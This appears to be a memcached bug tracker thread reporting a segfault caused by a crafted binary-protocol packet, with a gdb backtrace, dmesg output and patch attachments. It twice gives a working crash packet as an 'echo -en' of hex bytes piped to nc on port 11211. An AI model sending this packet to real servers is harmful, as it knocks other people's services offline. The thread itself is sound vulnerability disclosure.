New issue 192 by stefan.b...@gmail.com: Crash when sending specially
crafted packet
http://code.google.com/p/memcached/issues/detail?id=192
What steps will reproduce the problem?
1. Start memcached in TCP mode. For example:
$ ./memcached -v -p 11211 -U 0
2. Send the specially crafted packet to it:
$ echo
-en '\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff\xe8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
| nc localhost 11211
What is the expected output? What do you see instead?
The expected output is an error message (since the packet is not valid).
Instead, memcached segfaults. The backtrace in gdb is:
#0 0x00007ffff76a93e2 in _wordcopy_bwd_dest_aligned (dstp=140737352380384,
srcp=6497184, len=2305843009213693940) at wordcopy.c:392
#1 0x00007ffff76a75e9 in memmove (dest=0x7ffff7e53053, src=<value
optimized out>, len=18446744073709551581) at memmove.c:99
#2 0x000000000040a165 in drive_machine (fd=<value optimized out>,
which=<value optimized out>, arg=0x632200) at /usr/include/bits/string3.h:59
#3 event_handler (fd=<value optimized out>, which=<value optimized out>,
arg=0x632200) at memcached.c:3732
#4 0x00007ffff7bc8194 in event_base_loop () from /usr/lib/libevent-1.4.so.2
#5 0x000000000040db84 in worker_libevent (arg=0x61c0a0) at thread.c:245
#6 0x00007ffff79ac971 in start_thread (arg=<value optimized out>) at
pthread_create.c:304
#7 0x00007ffff770892d in clone ()
at ../sysdeps/unix/sysv/linux/x86_64/clone.S:112
#8 0x0000000000000000 in ?? ()
What version of the product are you using? On what operating system?
Memcached 1.4.5 / Ubuntu 10.10 x64
Please provide any additional information below.
The packet was generated automatically by a research testing tool under
development at the Dependable Systems Laboratory, at the Swiss Federal
Institute of Technology (EPFL), Switzerland (http://dslab.epfl.ch/).
it is easy to fix with small patch, but in memcached internals there are so
many functions without correct arguments cheking.
Attachments:
issue-192-crash-fix.patch 1.1 KB
The patch in comment one seems to do the trick.
I hope this is fixed in the next version.
Still working on Memcache 1.4.13
#wget http://memcached.googlecode.com/files/memcached-1.4.13.tar.gz
#tar xzvf memcached-1.4.13.tar.gz
#cd memcached-1.4.13
#./configure
#make
#make install
#which memcached
#/usr/local/bin/memcached
#memcached -d -u nobody
#echo -e "stats\n" | nc localhost 11211 | awk '/pid/ {print $3}'
28039
#echo
-en '\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff\xe8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
| nc localhost 11211
#dmesg | tail -n 1
[173531.976403] memcached[28042]: segfault at 7f11697c0ff0 ip
00007f1168ea5f6b sp 00007f1167528cc8 error 6 in
libc-2.13.so[7f1168d68000+195000]
--------------------
OS: 3.0.0-15-generic #26-Ubuntu SMP Fri Jan 20 17:23:00 UTC 2012 x86_64
x86_64 x86_64 GNU/Linux
Memcache 1.4.13
this is my pathed for this bug , thanks
Attachments:
issue_192.patch 672 bytes
Memcached still crashes in version 1.4.7 with exploit given above.